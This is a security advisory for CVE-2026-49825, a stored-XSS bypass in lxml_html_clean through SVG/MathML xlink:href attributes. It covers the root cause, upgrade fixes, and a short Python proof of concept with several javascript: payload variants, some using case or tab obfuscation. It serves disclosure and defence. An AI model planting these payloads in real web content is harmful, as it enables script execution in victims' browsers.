CVE-2026-49825: lxml_html_clean javascript: XSS via xlink:href
lxml_html_clean's HTML sanitizer silently passes javascript: URLs through to the browser when they appear in SVG or MathML anchor tags using the xlink:href attribute, letting attackers store executabl
The problem
The `Cleaner` class filters dangerous URL schemes by walking links via `rewrite_links()`, which in turn calls `iterlinks()`. That function only yields attributes whose name appears in `lxml.html.defs.link_attrs`, a flat string set that never included the literal `xlink:href`.
As a result, any SVG or MathML anchor carrying `xlink:href="javascript:..."` is completely invisible to the URL-scheme filter. The condition is triggered only when the caller sets `safe_attrs_only=False`, a documented option for applications that want to allow custom or vendor attributes while still relying on scheme scrubbing.
Stored XSS is the direct impact: the payload survives sanitization and executes in the victim's browser when the rendered link is clicked.
Proof of concept
A working proof-of-concept for CVE-2026-49825 in lxml_html_clean, with the exact payload below.
from lxml import html
from lxml_html_clean import Cleaner
payloads = [
'<svg><a xlink:href="javascript:alert(1)">x</a></svg>',
'<math><a xlink:href="javascript:alert(2)">y</a></math>',
# Encoding variants that also survive (same root cause)
'<svg><a xlink:href="JaVaScRiPt:alert(3)">x</a></svg>',
'<svg><a xlink:href="javascript:alert(4)">x</a></svg>',
'<svg><a xlink:href="java\tscript:alert(5)">x</a></svg>',
]
for p in payloads:
tree = html.fromstring(p)
Cleaner(safe_attrs_only=False)(tree)
out = html.tostring(tree).decode()
print(out) # payload passes through unchanged
print('iterlinks:', list(html.fromstring(p).iterlinks())) # []The root cause (CWE-184, Incomplete List of Disallowed Inputs) is a direct repeat of CVE-2021-28957, where `formaction` was missing from the same allow-list. Here, `xlink:href` is the missing entry: because `iterlinks()` never yields it, `_remove_javascript_link` is never called for it, and no scheme check runs.
The fix in lxml 6.1.1 added `xlink:href` to `lxml.html.defs.link_attrs`, making it visible to the link rewriter. The lxml_html_clean 0.4.5 release ships a parallel in-package fix that explicitly walks namespaced URL attributes inside `Cleaner.__call__` and deletes any whose value matches a dangerous scheme regex, decoupling the cleaner from the upstream allow-list entirely.
The fix
Upgrade to `lxml_html_clean >= 0.4.5` and `lxml >= 6.1.1`. Both packages received coordinated fixes. If you cannot upgrade immediately, avoid passing `safe_attrs_only=False` to `Cleaner`, or switch to `nh3` (confirmed not vulnerable to this primitive). Install: `pip install "lxml>=6.1.1" "lxml_html_clean>=0.4.5"`
Reported by Guillem Lefait.
Related research
- high · 8.3CVE-2026-49471CVE-2026-49471: serena-agent Unauthenticated Flask Dashboard Enables DNS Rebinding to RCE
- criticalCVE-2026-55615CVE-2026-55615: langroid Neo4jChatAgent Prompt-to-Cypher Injection (RCE)
- high · 7.8CVE-2026-55426CVE-2026-55426: linuxfabrik-lib OS Command Injection via shell_exec
- criticalCVE-2026-54760CVE-2026-54760: langroid SQLChatAgent pg_read_file Blocklist Bypass